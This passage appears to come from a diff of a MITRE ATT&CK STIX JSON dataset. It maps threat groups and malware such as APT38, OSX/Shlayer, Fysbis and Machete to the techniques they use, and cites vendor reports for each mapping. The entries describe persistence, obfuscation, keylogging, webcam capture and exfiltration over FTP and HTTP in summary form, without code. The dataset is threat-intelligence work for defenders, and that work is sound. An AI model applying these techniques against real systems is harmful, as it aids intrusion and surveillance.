Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[APT38](https://attack.mitre.org/groups/G0082) installed a port monitoring tool, MAPMAKER, to print the active TCP connections on the local system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-09T17:51:47.352Z", + "id": "relationship--11ab80ae-29e7-45a4-8d92-53493e2971c3", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.565Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can install malicious Safari browser extensions to serve ads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-10T13:57:23.522Z", + "id": "relationship--5b5b5650-916b-4519-8cbd-da90589fe7b6", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "modified": "2019-09-12T15:09:10.706Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Intego Shlayer Apr 2018", + "description": "Vrijenhoek, Jay. (2018, April 24). New OSX/Shlayer Malware Variant Found Using a Dirty New Trick. Retrieved September 6, 2019.", + "url": "https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/" + }, + { + "description": "Reed, Thomas. (2018, April 24). New Crossrider variant installs configuration profiles on Macs. Retrieved September 6, 2019.", + "source_name": "Malwarebytes Crossrider Apr 2018", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can use the chmod utility to set a .app file as executable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-10T14:30:31.699Z", + "id": "relationship--544cc12a-53c4-4a56-b480-bfc79beee93c", + "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "modified": "2019-09-12T15:09:10.667Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Carbon Black Shlayer Feb 2019", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Fysbis](https://attack.mitre.org/software/S0410) has masqueraded as trusted software rsyncd and dbus-inotifier.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-12T18:04:13.255Z", + "id": "relationship--dedfdac6-c76b-4baa-99ca-3f0233141d2d", + "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "modified": "2019-09-18T18:09:59.941Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fysbis Dr Web Analysis", + "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", + "url": "https://vms.drweb.com/virus/?i=4276269" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "description": "[Fysbis](https://attack.mitre.org/software/S0410) has established persistence using a systemd service. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-12T18:49:26.197Z", + "id": "relationship--925ad0da-326d-43b8-be4c-410bce2889b6", + "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "modified": "2019-09-18T18:10:00.020Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fysbis Dr Web Analysis", + "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", + "url": "https://vms.drweb.com/virus/?i=4276269" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Fysbis](https://attack.mitre.org/software/S0410) can use Base64 to encode its C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-12T19:00:39.367Z", + "id": "relationship--0edefa7f-0b1b-48b7-ab51-e0107b48c683", + "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "modified": "2019-10-14T19:21:25.462Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fysbis Dr Web Analysis", + "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", + "url": "https://vms.drweb.com/virus/?i=4276269" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Fysbis](https://attack.mitre.org/software/S0410) has been encrypted using XOR and RC4. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-12T19:07:13.185Z", + "id": "relationship--53d441a4-d6ba-46b2-aa56-91b3f232c67a", + "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "modified": "2019-09-27T13:27:07.090Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fysbis Dr Web Analysis", + "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", + "url": "https://vms.drweb.com/virus/?i=4276269" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": " [Machete](https://attack.mitre.org/groups/G0095) has delivered spearphishing emails that contain a zipped file with malicious contents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T12:51:46.241Z", + "id": "relationship--bd3926e9-9c91-43f2-913d-16a7e94cc0ae", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "modified": "2019-10-15T21:03:07.635Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist Machete Aug 2014", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "url": "https://securelist.com/el-machete/66108/" + }, + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[Machete](https://attack.mitre.org/groups/G0095) has sent phishing emails that contain a link to an external server with ZIP and RAR archives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T12:51:46.258Z", + "id": "relationship--2dde02b3-20b9-4709-96b4-02dbb9150577", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "modified": "2019-10-07T15:02:07.775Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "source_name": "Cylance Machete Mar 2017", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + }, + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Machete](https://attack.mitre.org/groups/G0095) used multiple compiled Python scripts on the victim\u2019s system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T12:51:46.273Z", + "id": "relationship--532feb00-b2ba-4cf6-81e8-57750d30b039", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "modified": "2019-09-13T16:48:01.282Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "source_name": "Cylance Machete Mar 2017", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Machete](https://attack.mitre.org/groups/G0095) used TCP port 21 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T12:51:46.276Z", + "id": "relationship--770ef450-2ecc-4d76-8ecb-0c2dcecd3156", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "modified": "2019-09-13T16:48:01.291Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "source_name": "Cylance Machete Mar 2017", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Machete](https://attack.mitre.org/groups/G0095) employed some visual obfuscation techniques by naming variables as combinations of letters to hinder analysis.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T12:51:46.291Z", + "id": "relationship--0cbe4b77-eb2c-4146-9576-a8ae37eb63ea", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "modified": "2019-09-13T16:48:01.289Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "source_name": "Cylance Machete Mar 2017", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Machete](https://attack.mitre.org/groups/G0095) malware used FTP and Python\u2019s urllib library to make HTTP requests to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T12:51:46.293Z", + "id": "relationship--cf9a83cd-391d-46ee-a413-4ef8965ba1a5", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "modified": "2019-10-15T21:03:07.618Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "source_name": "Cylance Machete Mar 2017", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Machete](https://attack.mitre.org/groups/G0095) used the startup folder for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T12:51:46.314Z", + "id": "relationship--8be61265-8878-4bb3-af2b-91128b411acb", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "modified": "2019-09-13T16:48:01.257Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "source_name": "Cylance Machete Mar 2017", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Machete](https://attack.mitre.org/groups/G0095) created their own directories to drop files into.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T12:51:46.316Z", + "id": "relationship--a33c38bc-e794-45b9-8bd2-b17cfeff0fee", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "modified": "2019-09-13T16:48:01.335Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "source_name": "Cylance Machete Mar 2017", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "[Machete](https://attack.mitre.org/groups/G0095) had a module in its malware to find, encrypt, and upload files from fixed and removable drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T12:51:46.319Z", + "id": "relationship--7fc546f3-a761-4f48-8c36-716372f2bb11", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "modified": "2019-09-13T16:48:01.293Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "source_name": "Cylance Machete Mar 2017", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Machete](https://attack.mitre.org/groups/G0095) used scheduled tasks for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T12:51:46.312Z", + "id": "relationship--3117cd66-61ef-4068-a185-32f5703cff58", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "modified": "2019-09-13T16:48:01.286Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "source_name": "Cylance Machete Mar 2017", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Machete](https://attack.mitre.org/groups/G0095) has relied on TLS-encrypted FTP to transfer data out of target environments. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T12:53:11.518Z", + "id": "relationship--bea19aee-f6c5-4ee8-bef9-5bd78e66a020", + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "modified": "2019-09-13T16:48:01.348Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "source_name": "Cylance Machete Mar 2017", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[Machete](https://attack.mitre.org/software/S0409) takes photos from the computer\u2019s web camera. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:17:26.266Z", + "id": "relationship--293f103b-ab5f-46ee-b51e-c111370f3b79", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.420Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "source_name": "Securelist Machete Aug 2014", + "url": "https://securelist.com/el-machete/66108/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[Machete](https://attack.mitre.org/software/S0409) captures audio from the computer\u2019s microphone. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:17:26.292Z", + "id": "relationship--86e8f395-3c57-4602-8e7c-30058d05a655", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.448Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "source_name": "Securelist Machete Aug 2014", + "url": "https://securelist.com/el-machete/66108/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Machete](https://attack.mitre.org/software/S0409) has used pyobfuscate, zlib compression, and base64 encoding for obfuscation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:17:26.294Z", + "id": "relationship--fdf56c06-8e42-4cb5-b6e0-a7ec55355ff6", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-10T12:18:53.139Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Machete](https://attack.mitre.org/software/S0409)\u2019s downloaded data is decrypted using AES.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:17:26.318Z", + "id": "relationship--075c6890-45e1-495e-a83e-b81ab05a8b4e", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.484Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Machete](https://attack.mitre.org/software/S0409) logs keystrokes from the victim\u2019s machine. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:17:26.323Z", + "id": "relationship--a5c8b6af-8685-4068-8046-122bbd5f8845", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.538Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + }, + { + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "source_name": "Securelist Machete Aug 2014", + "url": "https://securelist.com/el-machete/66108/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "The different components of [Machete](https://attack.mitre.org/software/S0409) are executed by Windows Task Scheduler.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:17:26.325Z", + "id": "relationship--2e532de4-b002-4c2d-a37c-6d535ff090fa", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.588Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[Machete](https://attack.mitre.org/software/S0409) has sent data over HTTP if FTP failed, and has also used a fallback server. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:21:50.820Z", + "id": "relationship--bdb7f4c5-3620-479b-af38-95f42e82fb68", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-07T15:16:12.002Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Machete](https://attack.mitre.org/software/S0409) uses FTP and HTTP for Command & Control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:21:50.855Z", + "id": "relationship--685856c8-227b-41b3-841d-9a7be6389eb9", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.581Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Machete](https://attack.mitre.org/software/S0409)'s collected data is encrypted with AES before exfiltration. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:21:50.859Z", + "id": "relationship--8b95c259-d8eb-4258-aec0-e7c92bf3ac05", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.585Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Machete](https://attack.mitre.org/software/S0409)'s collected data is exfiltrated over the same channel used for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:21:50.863Z", + "id": "relationship--18e170d7-ff3f-450b-9366-cea23216b60e", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-07T15:16:12.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[Machete](https://attack.mitre.org/software/S0409) hijacks the clipboard data by creating an overlapped window that listens to keyboard events. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:21:50.865Z", + "id": "relationship--7e05e716-1a86-4f87-9eba-5b5c6ee61b8a", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-09-13T17:14:47.658Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + }, + { + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "source_name": "Securelist Machete Aug 2014", + "url": "https://securelist.com/el-machete/66108/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Machete](https://attack.mitre.org/software/S0409) captures screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:21:50.867Z", + "id": "relationship--fb99048f-bb37-47be-b2a5-d03d9ff087f1", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-10T12:18:53.300Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + }, + { + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "source_name": "Securelist Machete Aug 2014", + "url": "https://securelist.com/el-machete/66108/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Machete](https://attack.mitre.org/software/S0409) has a component to check for running processes to look for web browsers. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-13T13:40:47.857Z", + "id": "relationship--268d6aed-3961-42d9-9d34-785a9903d004", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": 